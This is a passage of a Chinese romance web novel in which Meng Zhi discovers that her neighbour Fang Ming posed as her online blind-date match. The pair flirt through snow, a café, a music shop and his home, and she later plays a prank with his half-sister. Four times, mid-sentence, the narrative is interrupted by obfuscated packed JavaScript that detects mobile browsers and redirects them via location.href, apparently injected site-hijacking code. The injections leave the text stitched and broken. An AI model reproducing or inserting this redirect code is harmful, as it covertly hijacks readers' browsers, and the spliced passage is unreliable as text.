放下手机,孟至几乎得意到原地起飞。一切有种不真实的感觉。她截图群聊,发给水冰月,言简意赅地表示:“成了。” 手机叮咚一声,孟至以为水冰月这次回复信息如此迅猛,还意外了一下。划开屏幕一看,却是方铭的消息:“换头像了。” 孟至告诉他:“我在冒充客服,这样大家就会找我领奶茶券了。” 方铭发来一个惊呆的狗脸。孟至说:“我们保险代理人,有的是手段。” “明白了,在笼络客户。” “说那么难听,”孟至不屑地回复道,“这叫孝敬客户!”给人发奶茶券还不好! “……” 方铭的消息刚走,赛罗的消息又来了:“我记得你以前是做寿险的,现在还做这行吗?” 看那意思,似乎是要找孟至咨询买保险的事。孟至心花怒放,差点被喜悦冲昏头脑。今天不知是什么日子,竟让她的事业一路突飞猛进。孟至回复道:“你问得正好,我正要重新开始做保险顾问呢,现在就差找到一家公司入职了!” “……” 孟至十分贴心地问:“你最近在了解保险产品吗?” “是想给家人和自己买,能向你请教吗?” “没问题。”孟至一口答应,“尽管问,买不买没关系,也不用非在我这里买。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776547|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家先聊一聊,交流交流。” 赛罗说:“那我们见面吧。” 上次自己搅黄了相亲局,这次人家一说要买保险,自己就立刻答应见面,实在有些恬不知耻。因此,孟至隔了几秒钟,才矜持地回复道:“好的。” 两人约在一家咖啡店见面。孟至裹上大衣,早早来到店里,找了二楼靠窗的桌子坐下。这家店有些年头了,上一次来这里,还是许多年前和斯基一起。那天下着雪,她们也是坐在窗边,窗下的马路上白茫茫一片,一个人都没有。斯基指着窗户说,这是一个天然的取景框,如果你现在下楼站在雪地里,会是很好看的一幅画。 这样想着,孟至一手托着腮,静静地看着窗外。她忽然发现大片的白絮斜飞着掠过,起先还有些稀疏,后来越来越密,就像风吹梨花雨。 下雪了,这是今年的第一场雪。 孟至睁大了眼睛。鹅毛大雪在空中乱飞,落在地上,竟积起了一层。在洁白的天地间,出现了一个身影,那是方铭。 孟至眨了几下眼睛,确信那不是她的幻觉。方铭站在雪地上,正抬头静静地看着她。那的确是一幅很美丽的画。 雪花纷纷扬扬地落在他的身上,看得她很羡慕。于是她跑下楼去,一路奔到方铭面前,呲溜了一下才站定。方铭笑出了声。 孟至用衣袖接着雪花,拿给方铭看:“看这片很大,六个角都完整的!” 方铭也用袖子接了几片:“我的更大。” “没我大。”孟至抬头看着他,“你路过吗?这么巧?” 方铭低头看着她,一幅十分无奈的表情:“我发现,每次只要约你见面谈保险,就屡试不爽。” 孟至愣了一下。他怎么知道孟至今天是出来跟人谈保险的? 方铭轻柔地说:“上次约你在树林里见面的是我,这次约你在咖啡店见面的也是我。” 孟至嘴唇微张,呆呆地看着他。他说:“赛罗是我临时注册的小号。” 32. 小方的紧身衣 孟至脱口而出:“你还收费替人相亲?” 接着她意识到,与自己在微信上对话的那个“赛罗”,其实一直是方铭。她飞速地想起许多离奇的巧合,似乎每次她向赛罗透露自己身处何地后,紧接着马上就会遇到方铭。老会堂里,酒馆里,医院里…… 想到这里,孟至头皮一紧,猛然记起自己和方铭在酒馆里面对面坐着,在他眼皮子底下给赛罗发微信,大肆探讨方铭的私人问题,比如他看起来没有能力长胡子。孟至隐约记得,她还暗示方铭性格绵软,恐难振雄风。可那根本不是在和赛罗聊天,而是在和桌子对面的方铭聊天! 脑海中风云变幻,不过瞬息之间,孟至的脸上已然流露出杀气。方铭立刻举起双手:“我先保证,我不是故意要骗你。我……从一开始,就故意装成相亲对象。” “那还不是骗我!”孟至大喝一声。 方铭轻轻拂去她头顶的积雪。垂落在肩膀周围的红色长发上,点缀着许多雪花。他轻声说:“你说你不喜欢我以后,我就买通了常来,让她劝说二姨姥,把我包装成相亲对象介绍给你。” “我什么时候说不喜欢你了?”孟至不服气地说,“明明是你没有回我,故意跟我失联!” “你说我们互相还不了解,还说你不一定会留在老家,那不就是,”他转开视线,连续眨眼,“不就是我的魅力不够。” “所以你要换个皮套,重新吸引我,让我彻底迷上你?”孟至用一种不可思议的眼神打量着他。 “恩。” “你这狐狸——” “但我不是要干涉你的自由。”方铭难为情地说,“我只是……只是想让你在外地的时候,也很喜欢我。” 孟至被肉麻得一个激灵。小方竟想得到她的心,让她走到天涯海角都对他念念不忘,最后开启异地恋!她眉头往下一沉,眼睛成了个下半圆形,呈复仇状凝视:“你等着,你马上就要废了。” 方铭低着头说:“我早就废了。” 孟至抱起手臂,却听方铭说:“可是,赛罗给你算塔罗的时候说小方想把自己交给你,你挺开心的呀,姐姐——” 冰天雪地里,她的脸立刻开始发热。赛罗的原话是怎么说的?他迷恋你的一切,想要拥抱你,亲吻你,把自己交给你,想要用尽一切力量与你融合。孟至当时就拍手称快,毫不犹豫地像接财神一样接好运。她强装硬气地说:“你还叫姐姐?你怎么好意思叫姐姐,你比我大了三岁!哦,对了,把你自己交给我,就是给我当奴隶的意思,不是别的。” 方铭的脸上露出淡淡的笑意,显然看穿了孟至的虚张声势。他乘胜追击,靠得离孟至更近了:“你跟赛罗说那么多话,怎么从来没跟我说过?你赔我。” “怎么赔?”孟至一梗脖子,“你说赔就赔?你以为这是你买的保险?” 方铭慢慢俯下身来,两张脸无限接近着。孟至的大脑里空白了一刻,她眼前那张俊脸越放越大,最后难以尽收眼底。他微微偏过头,使自己的鼻尖与孟至的鼻尖交错开,于是他的唇和孟至的唇离得更近了。两条有力的臂膀环绕上来,牢牢地圈住了她。孟至感到自己的胸脯贴上了他的身体。 她微微抬着头,眼睛睁得很大。方铭的胸膛剧烈地起伏着,呼吸声沉重而凌乱,孟至感到有温热的气息喷到脸上。他在她的嘴唇前徘徊了很久,终于下定决心,控制着自己往旁边移去。最终,他在孟至的脸颊上轻轻吻了一下,然后慢慢松开孟至。 孟至虚脱般地后退一步,被方铭稳稳地托住了后腰。他的目光沉甸甸地笼罩下来,那眼神相当灼热,相当危险。看着孟至原地惊呆的形象,他忽然轻轻笑了一声:“平时不是胆子很大的吗?姐姐?” 哼了一声,孟至转身就往咖啡店里走。她大步流星,丝毫不理会一路跟在她身后的方铭。 回到店里,孟至仍旧坐在方才那张临窗的桌边,自顾自地点了咖啡。方铭把桌子对面的凳子拖过来,非要和她肩并肩坐着。 咖啡端上来以后,孟至猛喝一口,凶巴巴地对他说:“你骗我,你根本不是开锁的。” “我没有瞒你。”方铭愣了一下,稍显迷惑,“在我们加了微信之后的第三天……我就把博士毕业证书发到朋友圈了,是一张外壳的照片,你记得吗?后来我把这条动态隐藏了。” 孟至一脸难怪如此的表情:“我做销售,加的人太杂,从来不看朋友圈的。” 方铭看起来难以接受这种现实:“所以你一直没有了解过我。”他忧郁而凛冽的眼睛里,似乎有前苏联的雪花缓缓飘落。 “你也没有告诉过我。”孟至立刻反击,对他动人心弦的神情视若无睹。 “你也没有问过我。”方铭低落地说,“你对我不好奇。” “怎么不好奇?”孟至凑了过来,毛茸茸的脑袋挨近了他,“博士不是都会延毕吗?你怎么这么年轻?你头发是真的还是假的?” 方铭含蓄地说:“我本科毕业以后去德国读PhD,直接拿博士学位,没觉得特别难。” 装,你就装!孟至心里愤愤不平。 他主动说道:“你刚认识我的时候,我在等政审通过,所以没有和你说我的单位。那时候我也不知道自己最终能不能入职。” 孟至哟了一声,酸溜溜地说:“够谨慎的,小方。” “你可能还是太小。”方铭温和地看着她,“在没有转正之前,一切都可能发生变数。” “那你干嘛去开锁?”孟至侧着脸,眯起眼睛看着他,“你从哪里学的撬门别锁的手艺?” “……”方铭挑起一侧眉毛,“一直做科研很单调,入职前想做点不一样的玩玩。你不觉得用电钻很酷吗?” “那你去了C市光机所以后做什么,打电钻吗?”孟至笑眯眯地说。 “你知道太空望远镜吗?”方铭露出了柔和的笑意,“我们生产的是这种望远镜上面的核心镜头组。有研究制作团队来研发新的部件和技术,还有集成团队来把部件组成系统。我做的就是集成的工作。” 想到他曾用CAD画图,孟至终于明白他是在研究图纸。她呆呆地捧着咖啡,一时间陷入想象之中。她曾经在航空展上看过宇宙的照片,那种色彩和结构就像精妙的花纹。通过太空望远镜拍摄遥远的星系,将原始的数据解码成天体的面貌,就像魔法一样奇异。如果那天体距离地球一百亿光年,那么太空望远镜捕获的是它一百亿年前的样子,光子穿越宇宙空间旅行,耗时一百亿年。 她心驰神往,忽然冒出一句:“那时候星星好年轻啊。” 似乎是听懂了她的意思,方铭说:“有一句话说得很美,人想要知道鸟在飞行的感觉,就发明了飞机,想要看到星星外的星星,就发明了望远镜。我觉得这种想法很浪漫,我想知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791299|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宇宙,所以我学了空间光学。” “我也觉得很浪漫。”孟至趴在桌子上,双手托腮,看着窗外的飞雪。也许在宇宙中其他星星看来,地球也一样神秘。她转过头来,挤眉弄眼地询问方铭:“你说,会不会外星人也生产这种望远镜,但是技术更高,人家能看到这场大雪?” 方铭笑了起来,笑声清凉醇厚,让孟至的心晃动了一下。她不再看方铭,嘴里叽叽咕咕地说:“笑什么,我本来就是外行。” “小时候,我爸会带我躺在凉席上看星星。”方铭收起笑容,补偿性地挨近过来,“他还教我认北斗七星。” 孟至随口说道:“那你进了这家单位,他一定高兴坏了。” “会的吧。”方铭顿了一下,继续说了下去,“他已经去世好几年了,但我总是会提起他,好像这样就能让他一直存在下去。” 孟至轻轻地啊了一声,放下咖啡杯,整个人转过来看着他。但他没有再讲更多伤心的事,只是说:“后来我长大独立了,我妈也再婚了。” “那你跟她经常见面吗?” “逢年过节会一起吃饭,”方名嘴角泛起一点促狭的笑容,“就跟你和你父母差不多吧。” “但你应该不会像我一样挨骂,”孟至分析道,“你简直是别人家的孩子。” “是啊,结果就是我活得很累的。”方铭幽幽地说,“我妈对我说,你爸身体不好,你马上就要没有爸爸了,如果你不优秀,就没有未来,只能去你爸的老单位给人烧水沏茶。” “那你岂不是被吓大的?”孟至微微扬起眉毛。 “差不多吧。我把我爸的遗产分给我妈和我姐,自己什么也没拿,我就是想证明我自己可以。”他深深地看着孟至,“但是和你在一起的时候很轻松,一种无条件的轻松,好像我做什么都可以。” 孟至鼻头发酸,一巴掌拍在他的手臂上:“放心吧,你一直开锁也行,等我有钱了我会……”后面的话及时刹住了。 他垂着眼睛,静静看着孟至,看着看着,又看到孟至的嘴唇上去了。他移开视线,耳朵又有点发红的趋势。 两人之间的空气微妙极了。孟至脱下大衣,没话找话地说:“你不脱?”他也脱下外套,有意无意地往孟至身边凑了凑。孟至伸手去拿咖啡,并不正眼看他。 方铭清了清嗓子,状似漫不经心地说:“我不太打扮,平时就穿现在这样,一身黑色。” 为了捧场,孟至抬眼看看他,目光顺着他的脖子往下,这才发现他今天穿了一件半高领紧身黑色上衣。薄如蝉翼的衣料下,肩头方圆而壮硕,手臂肌肉隆起,胸肌与腹肌块块分明。一具充满荷尔蒙气息的身体近在眼前,孟至突然觉得咖啡店里暖气开得太高,整个人头昏脑胀。 带着目的达成的微笑,方铭微微挺胸,恍惚之间,孟至差点就伸出手去摸了。她及时地克制住自己,转头看窗外的雪景。 这叫不太打扮?这分明是现在最流行的男性上衣,素有全世界最考验身材之衣服的美名,视频软件上那些跳顶胯舞的年轻男子经常穿这件。 方铭一条胳膊搭在她的椅背上,就像在拥着她的肩膀。他低声问:“那,我们现在是什么关系?” 孟至高抬下巴,凛然答道:“行吻脸礼的朋友。” 接着,无视方铭的错愕,她抓起大衣跑进雪中,很快就遁入翻卷的雪帘之后。 33. First Love 从咖啡店里跑出来以后,孟至沿着大街一直走,雪越下越大。走了一阵,方铭从她身后绕上来,不动声色地走在她旁边:“这么巧,又碰到了。” 孟至故意不看他:“真巧,你也出来捡瓶子啊?”想起他的嘴唇落在自己脸上的柔韧触感,孟至一阵后反劲,从耳洞里往外冒热气。 两人冒着大雪,一路走到公园。湖面已经结冰,再过一段时间,冰层彻底冻住,就该有许多小孩在冰上滑爬犁。孟至指着公园的小路说:“每年会有冰灯和雪雕。” “想不想去雪雕的王宫?”方铭把脸探到她面前,“等再冷一点,我带你去。” 孟至的心里突然泛起一种异样的清甜的滋味。她忍不住对他展颜一笑,然后助跑几步,轻松地踏上路边的一片冰面,两脚一前一后向前滑去。滑出很远,才慢慢减速,孟至享受着穿越风雪的感觉,就像学生时代逃课一样自由。方铭紧随其后,也打了个出溜滑,只是没控制好力度,直向孟至撞来。 在两人碰到一起之前,方铭长臂一捞,先发制人,将孟至按进自己怀中。两人相拥着原地转了个圈,才缓缓停下来。即使隔着厚重的冬衣,也能感到他身上冒着热气,孟至一时间不想钻出他的怀抱。她抬起头,把下巴支在方铭胸前,眯着眼睛笑了:“好暖和。” 方铭一副想笑的表情:“你是不是冷了?”他松开孟至,改为一手按着她的肩膀,带她走向附近的商场大楼。 “最近真冷,我都要盖厚被才行。”孟至袖着手,一脸严肃地告诉方铭,“我盖羊毛的!” “总是想逗你怎么办?”方铭垂下眼睛,嘴角十分意味深长地往起翘,“我完了。” “逗我什么?”孟至奇怪地看了他一样,“说来听听?” 方铭正经地说:“别盖被子了,盖我吧。” 孟至肩膀一甩,把他的手甩下去,自己迈着大步走进商场。 大厦已经启用冬季保暖布局,进入室内要蛇形走位,依次通过三重大门,三重门后都挂着厚重的棉门帘。孟至随手拨开,自己挤了进去,对身后的方铭不管不顾。她微微侧过脸,余光里看见方铭每次掀开门帘进来以后,都要先回头看看身后有没有人,再轻轻放下门帘。 此举让孟至心情舒畅,她不再跟他横眉冷对,而是主动走到他身边,然后抱着膀子哼了一声。 方铭哀哀地看着她,低声问:“你生我气了?”孟至看了他一眼,但见他眼如秋水,浑身散发着可怜的气息,在路人看来好像是自己在欺负他。那刚才调戏她的是谁?气得她差点想捶他。 “我不喜欢你逗我。”孟至气哼哼地说,“我是你的前开锁客户,不是你的……”还不是你的女朋友! “可是你现在是我的保险顾问,”方铭若有所思地说,“你说过要孝敬客户……” 孟至差点头顶冒烟:“你连潜在客户都不是!” “可是你刚认识我的时候就要我上门表演脱衣舞……” “你!还装可怜!还装!”她伸出一根手指,往方铭身上乱戳,他终于被戳中痒痒肉,哈哈笑着往旁边躲去。 商场里暖气强劲,孟至活动着回暖的四肢,高姿态地和他拉开距离。方铭反而凑了过来,认真地问:“等你成了我女朋友,我就可以逗你了?” 孟至围上围巾,遮住半张脸,故作大方地说:“对,那时候可以。” 他恩了一声,说:“好,那你不要再生气了。”借着围巾的掩护,孟至在偷着发笑。 憋了半天,方铭又问:“那你现在还是喜欢外星人吗?” 孟至差点笑出声来。想到方铭装成赛罗奥特曼来相亲,骗得自己把什么都说了,孟至耿耿于怀。她踮起脚尖,趴在方铭耳边,呵着气说:“我喜欢赛罗。” 热气吹得他浑身一紧。他动了两下喉结,才压抑地说:“可是赛罗不就是我吗?” “不,不喜欢你,”孟至严肃地摇摇头,“其实我已经喜欢上赛罗了。” 方铭沉沉地看了她一眼。孟至添油加醋地强调:“我喜欢上你的皮套了,你被自己的分身打败啦。” 说完,她哼着歌往一家琴行走去。玻璃幕墙后面是一屋子的乐器,让孟至心情大好。方铭走在她身后,显然心有不甘,不敢相信自己真的成了自己的情敌。 在琴行里,孟至接了个电话,是她正在应聘的保司打来的。放下电话以后,孟至威严地转向方铭,矜持地点头,表示大事已成。方铭的脸色回暖了:“胜券在握?” “从头开始喽。”孟至呼出一口气。 “那你愿意继续做这个吗?”方铭好奇地看着她,“怎么愁得像熊一样?” 孟至面色狰狞:“你不好,赛罗好!”她转身去看那些乐器,一会儿拿起木吉他,一会儿放下电吉他。 方铭锲而不舍地说:“姐姐,你的职业跨度也很大啊。往后,你和青龙师兄一个管生,一个管死?” “黑白双煞?” 哈地一声,方铭轻轻笑了出来。孟至一甩头发:“我呢,近半年在养老院和病房里受了点启发。风水师照顾的是死后的事,但好好赡养活着的人也很重要。” 方铭凝视着她的一举一动,发自内心地说了一句:“你会做好的。” 铮地一声,孟至拨动了木吉他的琴弦,空灵的泛音扩散开来。方铭调整表情,像是忽然鼓起勇气似的,腼腆地问道:“要不要去我家弹琴?” “去你家吗?”孟至重复了一遍。尽管两家离得很近,却从来不知道方铭家里是怎样一片世界。 “我家里有吉他和钢琴,”方铭柔顺地说,“还有一个电烤炉,可以围炉煮茶,烤橘子……” 孟至怦然心动:“去!”方铭半垂着眼皮,难掩得意的神采。孟至这才反应过来,这人又在假装清纯可怜的样子,莫非这就是前辈所述的:最好的猎人往往以猎物的方式出现? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797209|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两人出了商场,返回到咖啡店附近,方铭的货车还停在那里。因为停在室外,车里像冰窖一样寒冷,孟至一上车就抱起膀子,团成一团。方铭一边发动汽车,一边微笑着说:“吉他是新买的,需要先调一下弦。” 孟至好奇地问:“你会弹吉他?” “不会,是看你弹了以后才买的。”他矜持地说,“电烤炉也是最近添置的。” 等到进了方铭的家,孟至才发现满屋子摆着香薰蜡烛,厨房的吧台上放着大捧的乳白色鲜花,似乎是茉莉和洋桔梗。整座屋子布置得如同圣诞小屋,又简直像是求婚现场,还说不是蓄谋已久?孟至双手背在身后,扁嘴看着方铭。 方铭显然也觉得戏过了,干咳一声,撤走了大部分蜡烛,只点燃一小支。为了挽回尊严,他说:“我平时也点香薰,我对空气的要求高。” 在他忙着准备茶壶和橘子的时间里,孟至拎起客厅一角的吉他,坐在高脚凳上,随手弹了一会儿。方铭家里有一面墙的落地窗,这时窗外白雪纷飞,从十几层楼向下看,马路上好像洒了一层糖霜。 她感到方铭走到她的身后,但她没有回头。许久,方铭轻轻撩起她的长发,将其全部拢向身后,然后再轻轻放开。孟至头也不回地说:“我的头发好看吗?” “好看,”方铭真诚地说,“我特意买了白色的花,如果是向日葵那种颜色,配你的红发有点喜庆。” 孟至回过头来,仰着脑袋,对他横眉立眼,还学他的样子往起嘟嘴。他却说:“难道你喜欢配向日葵?” “……” 方铭俯视着孟至的巴掌小脸,好像觉得她很好玩,就像在看一个幼儿园小孩。他轻声笑了两声,慢悠悠地晃到钢琴边,敲了几下琴键。孟至被钢琴的音色吸引了,入神地看着那只弹琴的手。方铭在琴凳上落座,姿态从容得好像要办独奏会。天色很暗,在烛光的映照下,他看向孟至时的眼神比以往更温柔。孟至忍不住说:“你的眼神好像我对门养的大黄……” 为了不打断气氛,方铭只能假装没有听见这句。两手搭上琴键后,他低下头来,弹起一首曲子,孟至立刻就认出那旋律。这是一首她也很喜欢的歌,叫做《FirstLove》。曾经有一段时间,孟至反复循环这首歌,并且她喜欢听德永英明的版本。她想办法搞到了歌谱,在从前的吉他老师的指导下,把这首歌练得烂熟于心。 即使没有谱子,她也能和着钢琴曲,轻松地加入弹奏。看她开始拨弦,方铭的钢琴声自动转为和声织体,音符先后地、流动地响起,像在有起伏地朗诵一首诗。轻柔的琶音为吉他的旋律铺陈了绵延的背景,吉他声更加清晰地演奏着主旋律。明亮而温暖的弦音在上,泉水般的琴声在下,二者轻柔而缠绵地交织着。 这是一首让人想到下雪的歌,不知不觉,两人同时看向窗外的鹅毛大雪,接着相视一笑。他们手中的演奏仍然没有断开,就好像雪花都落进了这段合奏里。 34. 香火店再现灵异事件 几轮面谈之后,孟至基本已经确定了要入职的新公司和团队。在签订保险代理合同之前,孟至被邀请参加了一次团队的早会,作为团队氛围体验。在这次早会上,她眼观六路,耳听八方,像个侦探一样留意着团队内部的风格。 她发现团队长类似保险版青龙师兄,对手下人一副半管不管的样子,也不太爱说鸡汤语录。其他成员简单说点展业心得,分享几招经验,早会就草草结束了。大家做鸟兽状散开,有人去茶水间聊天,有人声称自己出门见客户,一溜烟跑没影了。 此情此景,让孟至称心如意。她很快跟公司签好了合同,从这天起,她恢复了寿险顾问的身份,原先被注销的执业资格又重新启用。离职的代理人留下的孤儿单,被指派给孟至。为了尽早获得一批自己的客户,孟至又开始在C市孙姓群等各大群聊中活跃。 年终岁尾,又下过几次大雪。斯基回过一次国,不过没有回老家,而是直接在首都跟她母亲汇合,带她去复诊,据说是病情有所恢复。而后,斯基急急忙忙返回到国外做她的实验去了,斯基的母亲回到老家,给孟至捎了一个大盒子,说是斯基给她的。去掉包装纸以后,盒子上还捆着蝴蝶结,孟至几次想要拆开,又想留到跨年夜再看,就这样手臂反复伸缩,最终还是忍住了。 原本,方铭每天按部就班地开着他的越野车通勤。自从孟至回到职场以后,他就每天早上先接上孟至,把她送到公司去开早会,自己再开去上班。 每天孟至走出家门时,都会发现方铭的车已经停在门口了。他每次总说:“真巧,我路过这里。”等到孟至坐上副驾以后,他又会递上来一份早餐,一口咬定说:“我不小心买多了,吃不完就浪费了。” 总之,自从孟至冷脸拒绝把“盖被”换成“盖他”以后,方铭就不再明晃晃地孔雀开屏,而是做出一副不经意间对她随便好了一下的姿态。他浑身都在表现:我只是不小心这样了一下,才不是要追你。 然而,这种好日子没持续几天,孟至就发现每天起早实在太累。刘校长听说她入职后,曾她耳提面命:“你初来乍到,每天早点去公司,给人家扫扫地,泡泡茶,听见没有?”孟至当然充耳不闻。这天上午,听完了产品知识和政策传达之后,孟至大摇大摆地回家睡觉去了。 走到大街上,冷风一吹,大脑清醒了不少。孟至先去一家琴行转了一圈,接着想起香火店就在这附近。为了摆脱那种开不出单的烦躁,她突发奇想:都说阅读能让人平心静气,她决定去香火店里阅读那本《风水先生变苍龙》,顺便拍给小方看看。 打定主意后,孟至拐进了小胡同,挟着一阵冷风,推开了香火店的门。接着她往后一退,还以为香火店里再次出现了灵异事件。 坐在桌子后面、俨然一副老板派头的,不就是水冰月吗? 水冰月抬头看见孟至,先是一愣,然后骤然绽开一个灿烂的笑容:“哎,是你啊!” 带着迟疑的神色,孟至试探着问道:“这就是奶奶留给你的店?” “当然了!今天我过来看看。”水冰月朝她招手,示意她赶紧过来坐下,“我弟上班去了,我又雇了一个人看店。” 嘿嘿嘿,孟至弯起眼睛,谄媚地笑了。她硬是挤在水冰月旁边坐着,先把脸扣在她肩膀上,酝酿了一会儿,才说:“原来你弟弟的姐姐就是你。” “?” 孟至抬起头来:“我跟你说过的那个男解语花……就是你弟弟。我知道这家小店就是他姐姐的。”只是方铭没有说过他们是同父异母的姐弟,看方铭提起他姐时的样子,孟至还以为他们百分百同宗同源。 “啥!”水冰月瞪大双眼,显然受到震撼,如坠梦中,“你就是方铭说过的那个小恶魔……” 她说到一半就停住了。但从她那高深莫测的微笑中,孟至猜测方铭给他姐讲过,有个女子醉酒后上下其手,毫不客气地摸了他的手臂。孟至立刻转移了话题:“你们俩是谁随了母姓?” 水冰月举重若轻:“都随母姓。” 孟至伸出大拇指:“讲究!” “你说,怎么会有这么巧的事呢?”水冰月还在反复摇头感叹,“我都要开心死了,原来你就是……”孟至再次把脸扣在她肩膀头上,吭哧吭哧地笑出了声,看起来颇为得意。 “你等着,”水冰月起身去后屋翻找,“方铭给我这里配了个电陶炉,咱们煮茶烤橘子吃!你说怎么会有这么巧的事呢?……” 炉子一开,小店里顿时暖风扑面,红茶的苦香和橘子的酸甜味充满了陋室。下午两点过后,太阳下降到对面那座楼的身后,围绕在她们四周的佛龛和串珠都隐入暗处,只有炉子发出暖色的灯光。孟至搓手等待着煮好的茶水,水冰月给她倒了一杯:“晾一会儿再喝。你说怎么会有这么巧的事呢?” 孟至突然眼睛一转,搭着水冰月的肩膀说:“你说咱俩关系怎么样?” “你想要干啥?”水冰月一看她那眯起来的邪恶笑眼,就跟着她一起哼哼笑起来。笑了两声,不忘继续说:“你说怎么会有这么巧的事呢?” “你就告诉方铭,你给他找了个相亲对象。”孟至笑嘻嘻地说,“谁让他装成相亲对象来找我,还拿二姨姥当靠山。我也要装一次!” “这能行吗?”水冰月终于停止感叹,“万一他以为你在故意测试他的忠实度?那他还不得生气了?” “不会的!”孟至信誓旦旦地一拍胸脯,“他不会对我生气!他也不会喜欢相亲对象!” 水冰月啧了一声,就拿出手机。两人脑门对着脑门,一起看着屏幕,研究出一套类似电报的话术,发给了方铭:“弟,姐已给你找好了姑娘,下班后速来香火店相亲,准备年前结婚。” 消息发出以后,两人脸对着脸,放声大笑,就像一对关系好的狗嘴筒子对着嘴筒子,一起快活地号叫。很快,方铭的电话打过来了,孟至在旁边捂着嘴,大气不出地听着。他一上来就斩钉截铁地说:“不行,姐。你今天怎么了?我不是说了我已经有……” “快点来店里!”水冰月对着手机大叫一声,就摁断了电话。两人再次笑成了两滩烂泥。 第二壶茶喝得见底时,方铭大步闯进了香火店,一进来就急着说:“姐,我喜欢的是……”看见猴在水冰月身上的孟至,他的声音戛然而止,只是那个“是”字儿的气声还在延伸,听起来就像嘶嘶作响的爆竹引线。孟至响亮地笑了出来。 水冰月一边慢条斯理地喝茶,一边对他说:“你说怎么会有这么巧的事呢?” 终于明白过来之后,方铭脸色有点发沉。他两手撑在桌子上,俯身盯着孟至。盯得她移开目光以后,他缓缓开口了:“你们两个胆子够大的。不怕我一着急,把手头正研究的工作搞错了?”话是对两人说的,眼睛却始终只看着孟至。 水冰月嘁了一声:“你才入职多久?能有啥重要任务交给你?”孟至噗地笑喷了。 方铭脸上微微发红,瞥了一眼孟至,为自己挽回形象:“怎么不重要?”他见水冰月一副看戏的嘴脸,就不满地说:“姐,我初一就帮你打架,打的还是高三的,你都忘了?现在你反倒不帮我……” “还说呢,你打完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16812133|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没占到便宜。”水冰月鄙夷地说,“脖子上都挂彩了……” “他们多高,我多高?”方铭气笑了,“我还是一对二……” 孟至捧着茶杯,在旁边观看姐弟俩斗法,乐得合不拢嘴。方铭又瞥了她一眼。水冰月站起来,迅速穿上大衣,对方铭说:“不跟你白话了,我要去约会,你记得锁门!”说完像蜻蜓点水般,拍了一下孟至的头顶,飞速地跑了。 半明半暗的小店里,只剩下孟至和方铭两人。孟至站起来,虚情假意地问:“我把座位让给你?” 方铭静静地盯着她。孟至东张西望地说:“我跟舒贝是好朋友,论辈分你确实得叫我一声姐呢。” “是吗?姐姐。”方铭拐着调叫了一声,声音低低的。孟至立刻后背发麻,小腹一阵紧绷。方铭一步一步走过来,差点贴上孟至。他垂着两片扇面似的睫毛,居高临下地盯着她:“原来你想跟我相亲啊,姐姐?” “谁要跟你相亲?”孟至猛然反应过来,发现自己百密一疏,反被人捉住把柄,不禁恼羞成怒,“我是在诈骗你呢。” 方铭学着她的气恼语调说:“你在从事违法犯罪活动呢。” 孟至靠坐在桌子上,抿嘴笑了起来。方铭两手插在裤兜,站在孟至面前,低头闲闲地看着她。两人对上目光,他柔声问道:“找客户顺利吗?” “找不到。”孟至突然泄气,“几个潜在客户不联系我了。” “慢慢地多认识一些人,就好了。”方铭放轻了声音,面部线条变柔和了,“你的媒体账号也会吸引客户的。” “对,得多认识人,”孟至点头应和,“我得去酒吧夜店碰碰运气。” 方铭立刻说:“那怎么行?”面部线条重新紧绷起来。 孟至抬头看着他,满脸殷勤的笑容:“你初中还跟人打架呀?” “但不是跟社会上的小混混打,”方铭移开目光,含混地说,“是跟我姐她们班的……好学生……打。” 打架还分是不是跟好学生打?孟至眯眼笑着:“你招聘下属呢?还要求学习成绩?”方铭不再说话。孟至又假装想起什么:“你不是说你只在幼儿园打过架吗?啧啧,小方,你这人,净装绅士。”方铭还是不说话。 孟至得寸进尺地说:“你看起来倒是真的不会跟人打架,你这么软绵绵的——” 话音没落,方铭轻轻握住孟至的两个手腕,缓缓将她的两个手臂背到身后,再仅用一只手就轻松地握住她的两手。孟至瞪大眼睛,眼看着方铭越来越近。他另一只手随意地撑在她旁边,俯身对着她的耳朵说:“有那么软吗?” 